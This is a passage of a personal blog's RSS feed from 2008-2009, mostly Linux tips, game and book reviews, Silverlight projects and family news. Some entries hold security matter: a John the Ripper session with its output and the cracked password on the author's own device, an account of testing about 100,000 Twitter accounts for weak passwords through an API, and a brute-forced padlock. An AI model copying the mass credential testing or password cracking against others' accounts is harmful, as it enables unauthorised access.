Hate power-cuts, love UPSs
<code>bacon.saved=true;</code>
</description>
</item>
<item>
<title>Jaunty Jackalope atheros wifi fix</title>
<pubDate>Thu, 20 Aug 2009 22:00:31 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2009.html#200820092200</link>
<description>
although my main machine is gentoo I do run a 10yr old laptop on Ubuntu, this is a throw away system that gets very little use.
I use Ubuntu because of the lack of tweaking and fiddling it requires, this certainly loses something in comparison to gentoo but it means I can be pretty sure th laptop will work when I need it.
So I was a bit put-out when after upgrading to Ubuntu Jaunty Jackalope my wifi stopped working...
The PCMCIA card was detected an interface was created and all the iwconfig commands and settings appeared to work it just would never associate with my access point.
A quick google showed I was not alone but a deeper examination of those same results showed that the users with the most problems had a slightly different Atheros wifi chip set 242, of which there seems to be more solutions that [reference something that contains a lot of other items].
After reading all about the 242 solutions (not realizing they were not relevant) I did start to see some trends and as such was able to concoct my own solutions.<code>rmmod ath5k
modprobe ath_pci</code>this changes the interface from wlan0 back to ath0
</description>
</item>
<item>
<title>power cuts loses to UPS</title>
<pubDate>Thu, 20 Aug 2009 21:48:30 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2009.html#200820092148</link>
<description>
Power cuts:0 UPS:2
Hate power cuts, love UPSs
</description>
</item>
<item>
<title>immune to swine-flu</title>
<pubDate>Sat, 25 Jul 2009 08:06:53 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2009.html#250720090806</link>
<description>
I am now immune to Swine-Flu !!
pity it took 5 days of writhing in agony to get here and the immunity only works for the current strain ...
</description>
</item>
<item>
<title>alex and joseph balance on the wii</title>
<pubDate>Wed, 01 Jul 2009 14:10:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2009.html#010720091410</link>
<description>
I have lost 10lb on Wii-fit, not bad considering I was not trying and I had just had a reasonable meal just before.
I tried to introduce Alex to the balance board but Joseph decided he wanted to be involved. So we ended up with Alex being balanced by myself and Joseph crawling on and off the board, surprisingly effective.
In other Wii news I have completed de Blob, I just love the way you can play this game 'your way'. All missions and extras unlocked !
</description>
</item>
<item>
<title>topblock reviewed in Japan</title>
<pubDate>Thu, 25 Jun 2009 08:46:20 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2009.html#250620090846</link>
<description>
There is a nice TopBlock review over at <a href="http://translate.google.co.uk/translate?hl=en&sl=ja&u=http://www.forest.impress.co.jp/article/2009/06/19/topblock.html&ei=hilDSqGfN-GrjAervZ2zDw&sa=X&oi=translate&resnum=1&ct=result&prev=/search%3Fq%3Dwww.forest.impress.co.jp%2Btopblock%26hl%3Den%26sa%3DG">http://www.forest.impress.co.jp/article/2009/06/19/topblock.html</a>
Which is funny cos it was created (xscreensaver) in 2005/6 and then the windows version was released end of 2007.
</description>
</item>
<item>
<title>Alex plays DS and wii a bit</title>
<pubDate>Wed, 24 Jun 2009 15:46:14 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2009.html#240620091546</link>
<description>
<a href="http://en.wikipedia.org/wiki/Electroplankton">Electroplankton</a> is a strange music/sound 'game' for the DS. I sought it out back in 2006 and paid to import the Japanese version.
Its fun and wacky, using the DS touch stylus to 'lead' plankton to make music.
The reason I mention it now is Alex is really enjoying the fact that there are almost no menus or options, he just clicks and plays.
Alex has also shown an interest in Super Mario Galaxy since he got a t-shirt but can not fathom the Wiimote. <a href="http://en.wikipedia.org/wiki/De_Blob">de Blob</a> is another game he likes the look of but can not control the character for long. It's mainly due to the way the camera moves behind the main character in both but is to intelligent to just swing around when the character is turned i.e. do a 180 spin and walk forwards and the camera stays facing the character until enough movement spurs it to move back to a a 'chase' position.
This in its self produces an interesting play mechanic, where he will 'play' and then ask me to move the character out of a corner or back to a more central point.
</description>
</item>
<item>
<title>blending a fuzzy bee and jelly hair</title>
<pubDate>Mon, 01 Jun 2009 16:37:33 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2009.html#010620091637</link>
<description>
I lied, the twitter talk was back in March, the April talk was me doing a blender demo.
This was not a "follow these steps and you will create RESULT" but instead a "Blender is capable of RESULT in a very sort a mount of time".
I was going for just 5mins per demo and made that no problem.
Demo one: Fuzzy Bee
Create a Pixar-realistic (i.e. not photo realistic but highly pleasing to the eye) bumble bee. (recipes below)
Demo two: Jelly Hair
Create a graceful bobbing jellyfish with realistic tentacles.
David then showed a quick blender physics demo-ing a bowling ball hitting 9 pins.
RECIPES
Demo one: Fuzzy Bee
Add sphere
Scale along single axis to get bee body shape and subdivide a few times.
Create material and set VCol paint.
Using Vertex Paint mode paint yellow and black stripes.
Add a new Partical Emitter as Hair, Emit from Verts.
Amount 20000, small random and Render Emitter, Normal 0.05.
(also added an extra light)
Found some time to add two wings from shaped beveled beizer curves.
Render to follow in later post.
Demo two: Jelly Hair
Add sphere and chop in half 
set vertex group
Partical Emitter as Hair, Emit from Verts, Vertex Group set from above step.
Amount 16 to match number of vertexs in group.
Steps 8 to allow combing.
Combed all down, added key frames and physics on the hair.
Everything bobbed along very realistically.
</description>
</item>
<item>
<title>the dangers of twittering</title>
<pubDate>Mon, 01 Jun 2009 16:07:11 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2009.html#010620091607</link>
<description>
At a LUG meeting long long ago (April) Steve gave a talk on the virtues of twitter, pre-warned I counter attacked with a anti-twitter talk.
Although I was well aware of the pros and cons I was surprised at the number of not only twitter virgins but social networking newbies.
The first (positive) talk concentrated on the great way like minded people can be connected, examples given included being contacted by (semi)famous people and being followed by distant friends.
The second (negative) talk (aka Mine) fell firmly in the *ALERT* *DANGER* *KEEP OF THE GRASS* category. I had an unsettling number of negative notes regarding past miss-use of twitter and the dangers of letting complete strangers (wether they be famous or not) having access to personal information.
Common example, have you ever tweeted about going away on holiday or what a great birthday you had, anything about new additions to the family ?
"I will be on holiday in the USA for a week, beach and party!" translates to empty house for a week.
"Woohoo! I got a light saber for my birthday from my girl friend" translates to date of birth == posted date excluding year and I think you can make some easy assumptions regarding the general age of the poster.
"Baby Amber Elisabeth Smithtown was born today at 02:34 7lb 4oz at the Jon Bon Jovi Mem. hospital New Jersey" translates to all the details needed to access/setup a new bank account or at least a good start for.  
But as mentioned, maybe its to late, in which case enjoy the twittering of little birds.
</description>
</item>
<item>
<title>Note to building security</title>
<pubDate>Mon, 01 Jun 2009 15:51:29 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2009.html#010620091551</link>
<description>
Now broadcasting the past as the present, one month is much like any other.
Note to building security: do not add expensive gadgets to meeting rooms, securing them only with a 4 digit padlock.
Weekly dev meeting agenda: intro current projects, any other updates, brute force combi-padlock.
Total time spent 40mins(Man minutes), key space exhausted 26%, combination found TRUE.
</description>
</item>
<item>
<title>the answer was not not a negitive paradox</title>
<pubDate>Mon, 01 Jun 2009 15:46:00 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2009.html#010620091546</link>
<description>
Ah ha! now we know, well I do, it was probably to quick for you.
Looked sort of like a time paradox, certainly a lesson to myself in the future :)
</description>
</item>
<item>
<title>Stuff has taken place but where has it all gone</title>
<pubDate>Mon, 01 Jun 2009 15:37:08 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2009.html#010620091537</link>
<description>
Stuff has taken place but where has it all gone ...
[just posting this to see what happens now I have missed the month of May completely]
</description>
</item>
<item>
<title>whose ill</title>
<pubDate>Thu, 02 Apr 2009 06:50:29 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2009.html#020420090650</link>
<description>
Alex has an ear infection and Joseph has conjunctivitis.
Both of them have been pretty much ill with something or other for the last 8 weeks and on the couple of days neither of them have been ill Sarah or I have been sick.
Better luck next time?
</description>
</item>
<item>
<title>video wipe out</title>
<pubDate>Sun, 08 Mar 2009 22:35:24 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2009.html#080320092235</link>
<description>
For some reason the video was not working here but was working on the page http://www.pay4foss.org/seemuse/information.html
with any luck it works now ...
</description>
</item>
<item>
<title>See Muse silverlight messenger game</title>
<pubDate>Fri, 06 Mar 2009 23:05:30 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2009.html#060320092305</link>
<description>
The next bit of <a href="http://pay4foss.org/jumpstation/silverlight/">Silverlight</a> is a bit different, not only do you need Microsoft windows and Silverlight 2 compatible browser but you need <a href="http://messenger.live.com/">Windows live messenger</a>.
And not only do you need <a href="http://messenger.live.com/">Windows live messenger</a> you also need to patch your local copy and the copy your opponent is using.
If that all seems far to complex just sit back and enjoy the video of <a href="http://www.pay4foss.org/seemuse/information.html">SeeMuse</a> in action.
<div title="http://www.youtube.com/v/XK4jhwfX1ds&amp;hl=en&amp;fs=1" style="border: 1px solid rgb(223, 223, 223); background: transparent url(chrome://flashblock/content/flashplay.png) no-repeat scroll center center; overflow: hidden; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; min-width: 32px ! important; min-height: 32px ! important; width: 425px; height: 344px; cursor: pointer; display: inline-block; -moz-box-sizing: border-box;" bgActive="url(chrome://flashblock/content/flashplay.png) no-repeat center" bgInactive="url(chrome://flashblock/content/flash.png) no-repeat center"></div>
Its basically a drawing game were the players are given a word that must be described using some very limited tools.
<img alt="a pencil drawn from simple shapes" src="http://www.pay4foss.org/seemuse/example4.png">
Just eight shapes with sixteen colours and the ability to rotate, scale and position them.
The code had a lot a clever network stuff to handle slow connections and random disconnects and thanks to a certain play tester the answers are encoded on the wire to stop cheats.
As it is Messenger any attempt to convey the answer is greeted by a response.
Attempted answers are not only checked against the supplied word but also variations, such as "Audio cassette" will also accept "tape" and "television" naturally accepts "tv" etc.
As per usual full source code is available for <a href="http://www.pay4foss.org/seemuse/information.html">SeeMuse</a> 
</description>
</item>
<item>
<title>3D game of life in silverlight</title>
<pubDate>Fri, 06 Mar 2009 22:52:34 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2009.html#060320092252</link>
<description>
More <a href="http://pay4foss.org/jumpstation/silverlight/">Silverlight</a> now. First off a recent foray into the world of 3D, using a open source toolkit called <a href="http://www.codeplex.com/Kit3D">Kit 3D</a>.
The examples that came with the toolkit quickly enabled me to create a rotating grid that later became an orbiting camera (same difference to the user).
On the grid I added blocks and from these blocks I created <a href="http://www.pay4foss.org/jumpstation/3DLifeGameOf/">Life</a>.
I had always wanted to try and code  <a href="http://en.wikipedia.org/wiki/John_Horton_Conway">John Conway's</a> <a href="http://www.math.com/students/wonders/life/life.html">Game of Life</a> and this was the ideal opportunity.
Turned out quite well and I got to use the Jog-Wheel control from <a href="http://www.pay4foss.org/jumpstation/Positech2000/">Positech2000</a>
</description>
</item>
<item>
<title>Hear the word of the White hat 2009-03</title>
<pubDate>Fri, 06 Mar 2009 22:40:19 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2009.html#060320092240</link>
<description>
Once upon-a-time there was a new and exciting technology, but it was so new no one was using it and the only way to experience it was to watch the developers demonstrate it at trade shows.
Then the word was given that a web site would use the new technology and create a new user experience, the word was good.
<s>Many</s>Me visited the site but the proclaimers stated the doors were closed.Despondent I tried again and again to visit the holy lands only to be shunned.
Until a fate full day when the proclaimers did proclaim all come welcome and I did enter the hallowed gates to find ...
Four sacred chapels, each with the revered experience held within, but each guarded by three challenges!
The challenges were difficult and tedious so I did what any soul in search of enlightenment would do, I cheated.
Seems the client received word from up above as to which challenges and chapels were accessible. I sent down false words and thus the chapels opened and unto me all challenges fell open. But alas the holiest of holys the new experience was hidden from me so it was that I told each of the challenges how to be an as master of the challenges found them no challenge.
Now armed with not only the challenges and chapels key I also had the markers of immaculate completion and once again I requested the experience.
Now and only now I realised that I was missing an important browser upgrade that the gated ones keep hidden.
Released from the burden of having old and wretched browser plug-ins I gazed upon the experience and although it was a sight to beholden I saw a weakness.
So unto I did <s>download</s>receive the holy scriptures and with sprinkling of bash did I determine that the hidden passaged were in fact touched with additional meta-data that did reveal itself unto me.
And I found myself saying unto the higher ones this is how I did <s>hack</s>disturb your site and they said OK thanks we will fix that less thy exploit these weaknesses to win great and magnificent prizes.
Hear the word of the White hat 2009-03
</description>
</item>
<item>
<title>not yet into the wild green yonder</title>
<pubDate>Fri, 06 Mar 2009 22:24:20 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2009.html#060320092224</link>
<description>
Watched Futuramas latest film "Into the wild green yonder", no review yet as I have not tried the DVD commentary, so far thumbs up <a href="http://www.jumpstation.co.uk/flog/Feb2009.html#020220092116">again</a>.
</description>
</item>
<item>
<title>Back to gooey games</title>
<pubDate>Fri, 06 Mar 2009 22:20:33 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2009.html#060320092220</link>
<description>
Long time no <s>blog</s> flog, excuses are pointless.
For all your command line prowess checkout http://www.commandlinefu.com/
I am currently engaged with the Linux version of http://www.worldofgoo.com/ a puzzle game with some very interesting physics.
i had thought I was beyond puzzle games but the Linux demo caught my fancy with its <a href="http://www.chroniclogic.com/index.htm?gish.htm">gish</a> like gooey ways.
Gish was another Linux game that captured my heart back in <a href="http://www.jumpstation.co.uk/flog/year2004.html">2004</a>.
World of Goo seems to be just filled with good stuff, rather than giving hundreds of levels instead offers not only varied gooey physics fun but a bizzare story line with comments (thanks sign painter) that make you laugh out loud.
Both games cost but are reasonably priced and well worth the investment.
Recommended.

</description>
</item>
<item>
<title>google talks all hail google</title>
<pubDate>Tue, 03 Feb 2009 14:54:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2009.html#030220091454</link>
<description>
Google responds
http://googleblog.blogspot.com/2009/01/this-site-may-harm-your-computer-on.html
</description>
</item>
<item>
<title>all hail google when googling google is harm</title>
<pubDate>Mon, 02 Feb 2009 22:18:45 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2009.html#020220092218</link>
<description>
I wanted to see if the <a href="http://www.jumpstation.co.uk/flog/Feb2009.html#020220092134">pay4foss.org spam</a> was causing an issue I searched for <a href="http://www.google.co.uk/search?hl=en&q=pay+for+foss&btnG=Google+Search&meta=">pay for foss</a>.
<a href="http://pay4foss.org">pay4foss.org</a> cam up as the number one result but had a link underneath stating that "this website may harm your computer" :(
So I clicked the link to find out more about the issue only to find the page was busy try again in 30 seconds, tried again, and again, same issue ...
Tried searching for google in google and OH! all the google links google maps/news/video etc all had the same harm message !!
Less than an hour later it was all back to normal...
All hail google !
</description>
</item>
<item>
<title>spammers shut open forum at pay4foss org</title>
<pubDate>Mon, 02 Feb 2009 21:34:56 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2009.html#020220092134</link>
<description>
I have not updated <a href="http://pay4foss.org">pay4foss.org</a> for years, so I was surprised to see one bit of forum spam before xmas and then a couple a week at the beginning of January followed by one a day and then 200 in a week!
All following the pattern of a youtube link with randomly generated text.
Early on I created a bash script that would delete the spam for me, that was fine for a couple a week, but now I have had to turn on moderation :(
Thank you spammers.
</description>
</item>
<item>
<title>firefox 3 with swap file on zubuntu</title>
<pubDate>Mon, 02 Feb 2009 21:24:00 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2009.html#020220092124</link>
<description>
<a href="http://www.omegamoon.com/blog/static.php?page=ZaurusUbuntu">zubuntu</a> comes with firefox, but I had not been able to get it to work, just ran an ran but never loaded even the google and mozilla pages.
Turns out all I needed was a swap file<code>dd if=/dev/zero pf=/.swap bs=1024 count=128000
(sl86 has 64MB ram so 128 is double it)
mkswap /.swap
swapon /.swap</code>
Job done, full FF3 on the meager zaurus !!
</description>
</item>
<item>
<title>one pound dvd deal nestle</title>
<pubDate>Mon, 02 Feb 2009 21:18:46 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2009.html#020220092118</link>
<description>
How about this for the greatest scam of the year; Buy any (labeled) Nestle cereals and get a code for one of twelve family movies for one pound INCLUDING postage and packaging.
I was dubious, but Spiderman 3 came within a week and was the same version (2 disk all the extras etc) I seen elsewhere for over a tenner!
The film was thoroughly enjoyable, but I do hope they do not try and milk the franchise for a forth feature !
I then got Hoodwinked and Surfs Up, so thats a total of three pounds for 3 DVDs worth ten times that MINIMUM! 
Hoodwinked is an animated movie spoofing up Little Red Riding-hood. I found it very hard going first viewing due to the out of date and in some places poor 3D modeling and animation.
But the film is not bad, I have had to watch it over 20 times and still laugh at some of the gags!
(not seen Surfs Up yet)
Does mean I have a box of honey shreddies due it being the cheapest box offering the deal.
</description>
</item>
<item>
<title>futurama benders game</title>
<pubDate>Mon, 02 Feb 2009 21:16:46 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2009.html#020220092116</link>
<description>
I did get Futurama &quot;Benders game&quot; for Christmas (it was less than 40 days ago).
This is return to comic form after my lam-blasting of the <a href="http://www.jumpstation.co.uk/flog/Jul2008.html#170720082228">last outing</a>.
Fun and silliness from the outset make this a very enjoyable journey, even though I have never turned my hand to D&amp;D (shock/horror).
One thing to note is that the DVD commentary was weak, which meant the questions that came up when watching the feature were never answered :(
I can not wait for the next one &quot;Into the wild green yonder&quot; due out 24th of Feb (UK).
</description>
</item>
<item>
<title>snow day</title>
<pubDate>Mon, 02 Feb 2009 21:15:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2009.html#020220092115</link>
<description>
SNOW DAY!!
ge to play in the snow with kids == good
do not get paid for a day != good
Still time to catch up with some <s>blog</s>flogging
</description>
</item>
<item>
<title>zubuntu cl860 boxer specific</title>
<pubDate>Fri, 23 Jan 2009 22:01:23 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2009.html#230120092201</link>
<description>
Zubuntu ... the story so far...
Specific to the Zaurus CL 860 (boxer)
install zubuntu as per <a href="http://www.omegamoon.com/blog/static.php?page=ZaurusUbuntu">cortez's instructions</a>
if when booting the file system is checked due to the date stamps being in the future and then reboots in a loop run <code>tune2fs -i0 -c0 /dev/sdb1</code>
when sdb1 is your linux partition, this will stop the fsck checks for either interval or count.
<code>nano /etc/passwd</code>
and change dhcp from 103:103 to 0:0 (where 103:103 could be any value) this allows dhclient to work.
<code>nano ~/.xinitrc</code>
and remove the "xrandr -o right" this will ensure the screen is in landscape in X.
<code>nano ~/.profile</code> and change TSLIB_TSDEVICE from event2 to event1
then run <code>ts_calibrate</code>
then and only then can you <code>startx</code>
</description>
</item>
<item>
<title>zubuntu future hero</title>
<pubDate>Mon, 05 Jan 2009 21:54:42 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2009.html#050120092154</link>
<description>
I was contemplating donating my <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=zaurus">zaurus 860</a> to the LUG when all of a sudden I came across <a href="http://www.omegamoon.com/blog/index.php">zubuntu</a> the answer to my dreams or another <a href="http://www.jumpstation.co.uk/flog/Mar2008.html#110320082257">blip on the radar</a> ?
Only time will tell, <a href="http://www.angstrom-distribution.org/">Angstrom</a> only ever had passing support for the 860, very long dev times and missing packages.
</description>
</item>
<item>
<title>walking around and around and around</title>
<pubDate>Mon, 05 Jan 2009 21:36:59 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2009.html#050120092136</link>
<description>
From 23/10 - 23/12 I walked at least 415672 steps, equating to around 207.8 miles
Pity the rest of my team did not get into the spirit of the challenge and the four man team DEVELOPERSDEVELOPERSDEVELOPERSDEVELOPERS managed just under 500 miles in total :(
</description>
</item>
<item>
<title>password cracking is very time consuming</title>
<pubDate>Fri, 12 Dec 2008 08:00:51 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2008.html#121220080800</link>
<description>
Due to the baby and other children my <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=nslu2">nslu2</a> has been forgotten, so forgotten that after a power cut I could not ssh in.
i removed the USB stick acting as its main hard drive and copied the shadow password file over to my AMD64 main machine.
time to crack one password, which according to popular belief should take minutes if not seconds.
<code>amd64# john --user=root /tmp/nslug/etc/shadow
Loaded 1 password hash (FreeBSD MD5 [32/64 X2])
guesses: 0  time: 0:14:26:10 (3)  c/s: 5695  trying: pigbetie - pigbetiv
guesses: 0  time: 0:14:26:15 (3)  c/s: 5695  trying: pittedae - pittedav
guesses: 0  time: 0:14:33:37 (3)  c/s: 5695  trying: pulinov8 - pulinovi
guesses: 0  time: 0:23:48:09 (3)  c/s: 5694  trying: 485ideth - 485idet1
guesses: 0  time: 0:23:53:04 (3)  c/s: 5694  trying: sumsled! - sumsled6
guesses: 0  time: 0:23:53:16 (3)  c/s: 5694  trying: subufanc - subufano
guesses: 0  time: 1:12:18:30 (3)  c/s: 5695  trying: TAZb21 - TAZb24
guesses: 0  time: 3:00:04:34 (3)  c/s: 5693  trying: ajd3w1 - ajd3w9
guesses: 0  time: 3:14:17:06 (3)  c/s: 5694  trying: kj,f3l - kj,f3m
guesses: 0  time: 4:05:51:41 (3)  c/s: 5694  trying: Knnxt9 - Knnxt6
guesses: 0  time: 4:12:49:17 (3)  c/s: 5811  trying: tt771iv - tt771ov
guesses: 0  time: 4:12:49:22 (3)  c/s: 5811  trying: tjcecot - tjcect7
guesses: 0  time: 5:01:31:06 (3)  c/s: 6058  trying: jkua3f - jkua3p
guesses: 0  time: 5:01:31:14 (3)  c/s: 6059  trying: jlayit - jlayie
guesses: 0  time: 5:23:57:33 (3)  c/s: 6399  trying: thrmez26 - thrmez28
guesses: 0  time: 5:23:57:35 (3)  c/s: 6399  trying: thrm1as6 - thrm1asa
notroot          (root)
guesses: 1  time: 6:13:10:54 (3)  c/s: 6554  trying: notrook - notroot</code>
One caveat, I did not use a dictionary file.
Each time I pressed enter a status line (as above appeared), thats right it took six DAYS 13 hours to crack the root password that was the uninspiring "notroot".
Time to change my password.
</description>
</item>
<item>
<title>positech2000 now with a url</title>
<pubDate>Mon, 01 Dec 2008 22:21:35 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2008.html#011220082221</link>
<description>
Oops and the link for positech200 is http://www.pay4foss.org/jumpstation/Positech2000/
sorry
</description>
</item>
<item>
<title>positech200 total useless silverlight madness</title>
<pubDate>Mon, 01 Dec 2008 22:19:12 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2008.html#011220082219</link>
<description>
Another month another <a href="http://www.pay4foss.org/jumpstation/silverlight/">silverlight</a> game/thingy.
This one takes your search results from live.com and launches them via parabolic trajectories into 'Positive' and 'Negitive' buckets, too determine the 'truth' of your search.
Search terms also burst in a fireworks type display and there is time controlling wheel.
Beyond useless, full source is available.
	<table>
	<tr>
	<td><img src="http://www.pay4foss.org/jumpstation/Positech2000/positech_ss3.jpg" /><br />Search screen</td>
	<td><img src="http://www.pay4foss.org/jumpstation/Positech2000/positech_ss2.jpg" /><br />Parabolic trajectories everywhere</td>

	<td><img src="http://www.pay4foss.org/jumpstation/Positech2000/positech_ss1.jpg" /><br />The results are in</td>
	</tr>
	</table>
</description>
</item>
<item>
<title>draw my thing addiction contagious</title>
<pubDate>Mon, 01 Dec 2008 22:13:39 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2008.html#011220082213</link>
<description>
http://www.iminlikewithyou.com and select 'Draw my thing'
I spent many an hour on this digital pictionary clone, best thing, no need to sign up just play and have fun.
</description>
</item>
<item>
<title>ripestudio know their math</title>
<pubDate>Mon, 24 Nov 2008 21:56:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2008.html#241120082156</link>
<description>
I need to pay homage to http://www.ripestudio.com/ for all there help on the rotation math for <a href="http://www.pay4foss.org/jumpstation/FaceMonkey/">Face Monkey</a> and now for the parabolic and tangent math on an upcoming project (name to be confirmed).
</description>
</item>
<item>
<title>twitterblator rides again same result</title>
<pubDate>Mon, 24 Nov 2008 21:49:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2008.html#241120082149</link>
<description>
I decided to revisit <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=twitter">twitter and default passwords</a>, this time with a larger sample size.
Out of 103880 accounts tested only 285 had a password of either the user name or &quot;password&quot;.
As I mentioned <a href="http://www.jumpstation.co.uk/flog/Apr2008.html#200420082244">previously</a> at no point did I 'log on' these tests used the verify_credentials API call.
Normally if you 'log on' to an account on web site a large number of resources will be applied to ensuring you (the user) has all the requirements at hand to make best use of the service. By instead, just using this API (hopefully) only a minor resource is required to check the user name and password in the database.
So the result is not far off what I had previously, was 0.00272%, now 0.00274% which is pretty good, barring my previous comments that 'password' might not be 'password' in the majority of users languages.
</description>
</item>
<item>
<title>Behold the Face Monkey</title>
<pubDate>Fri, 14 Nov 2008 22:34:09 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2008.html#141120082234</link>
<description>
I have been playing with <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=silverlight">Silverlight</a> again.
this time I have gone for a goofy paint application called <a href="http://www.pay4foss.org/jumpstation/FaceMonkey/">Face Monkey</a>.
For those of you without Silverlight, there are screen shots of what lunacy can be created monkeying around.
I started just loading an image from the users local hard drive and displaying it (does not upload the file anywhere), then stretching to fit.
Then I added a couple of buttons that created drag-able vector drawings of hats and glasses, then then then ...
I just kept adding images and features and now its got all sorts of weird and wonderful things, from transparent and rotating glasses, videos, rendered hair (thanks blender) to the bubbles and 'cheese' options.
the best thing was being able to build containers, one type that simply scaled the input image/video and made it appear as a button and the other that provided true rotate/scale plus 'delete' and 'stamp' controls.
Stamping means removing the container and affixing the current element to the canvas, making it non interactive.
But most time was taken up with the scaling and rotation.
I added scaling and got that working, then I added rotation, seemed to work but was a *bit* odd. The scaling was applied after any rotation so scale a square to an oblong and when you rotated the shape would warp.
It was all about the math, once the container was rotated any interaction i.e. scaling via the mouse had to be rotated to match.
Here are a few screen shots showing what can be done.
<img src="http://www.pay4foss.org/jumpstation/FaceMonkey/ss1.jpg" alt="screen shot" /><img src="http://www.pay4foss.org/jumpstation/FaceMonkey/ss2.jpg" alt="screen shot" /><img src="http://www.pay4foss.org/jumpstation/FaceMonkey/ss3.jpg" alt="screen shot" /><img src="http://www.pay4foss.org/jumpstation/FaceMonkey/ss4.jpg" alt="screen shot" />
There is also an embarrassing list of missing features on the <a href="http://www.pay4foss.org/jumpstation/FaceMonkey/">page</a>.
Bottom line it was just a bit of fun, fun to write (except the math) and fun to play with.
</description>
</item>
<item>
<title>rot13 really is that good</title>
<pubDate>Fri, 14 Nov 2008 22:32:35 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2008.html#141120082232</link>
<description>
Just for *fun* I took the ispell 354984 word list and rot13'd it. then I checked how many *encoded* strings matched real words from the original list.
Zero matches :( I am very disappointed. I expected at least 1% to *encode* into another valid string.
I was amazed how quickly the following commands ran
<code>cat ROT13.LST | uniq -u > BIG.LST
cat mword10/SINGLE.TXT | uniq -u >> BIG.LST
cat BIG.LST | uniq --repeated > ROTRES.LST</code>
ROTRES.LST was empty, uniq -u removed any duplicates.
<code>echo owl >> test.file
echo fox >> test.file
echo owl >> test.file
echo owl >> test.file
cat test.file | uniq --repeated</code>
Gave the correct result &quot;owl&quot;
</description>
</item>
<item>
<title>damn aliens</title>
<pubDate>Fri, 14 Nov 2008 22:31:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2008.html#141120082231</link>
<description>
&quot;to the aliens that visited me on Wednesday night:

Please can I have the 1in piece of skin currently missing from my lower back.

While we are talking about you, please also remove any currently installed micro chips from my body.

Many thanks.

Yours uncomfortably 

Me.&quot;

I woke up and found a very sore area on my back that burned in the shower, on closer inspection it looks like I am just missing a big ol' hunk of skin, for no reason.
Damn aliens.
</description>
</item>
<item>
<title>Diamond Age review</title>
<pubDate>Fri, 07 Nov 2008 22:49:48 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2008.html#071120082249</link>
<description>
Finally (and only because I could not find any more "Neal Stephenson" in my local) is Neal Stephenson's "The Diamond Age" a steam punk future opus.
Starting with a guy with a gun in his head and ending with the images of an ocean city, the story follows mainly Nell as she grows up led by the "Primer" a book/super computer that was never destined for her but she is its perfect match.
Together the story twists and turns with the read never quite sure what is going on, this is a good thing. More cerfisticated than "Snow Crash" this is a more rounded novel clearly defining a future that mankind could easily find itself in.
Recommended.
</description>
</item>
<item>
<title>Snow Crash</title>
<pubDate>Fri, 07 Nov 2008 22:48:42 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2008.html#071120082248</link>
<description>
Next up was "Snow Crash" by Neal Stephenson. I was convinced I had already read this, but everything in it was fresh and new to me. Another well written, easy to read, fun engaging novel, this time set in the future where a digital virus is infecting humans.
The story starts with a guy dressed as a ninja trying to deliver a pizza on time and ends up with Y.T. going home with her mum.
In between there is virtual reality, robot dogs, blood letting, religion, skate-boarding, the future state of the world and few other things.
One thing I will say against "Snow Crash" is it feels a bit juvenal compared to "Cryptonomicon", still well written and I am sure others will view the anarchy in the writing as plus point.
</description>
</item>
<item>
<title>arctic event book review</title>
<pubDate>Fri, 07 Nov 2008 22:47:44 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2008.html#071120082247</link>
<description>
After reading cryptonomicon I grabbed another book from my pile of unread tomes, <a href="http://www.amazon.co.uk/Robert-Ludlums-Arctic-Event-Covert-One/dp/0752876406">"The Arctic Event" by James cobb</a>
There was nothing wrong with this book, in fact I rather enjoyed it but it lacked an complexity or subtlety, very 'Hollywood', ideal for a long plane ride where the engaging nature of "Neal Stephenson" may prove problematic.
</description>
</item>
<item>
<title>Favorite book ever</title>
<pubDate>Fri, 07 Nov 2008 22:46:36 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2008.html#071120082246</link>
<description>
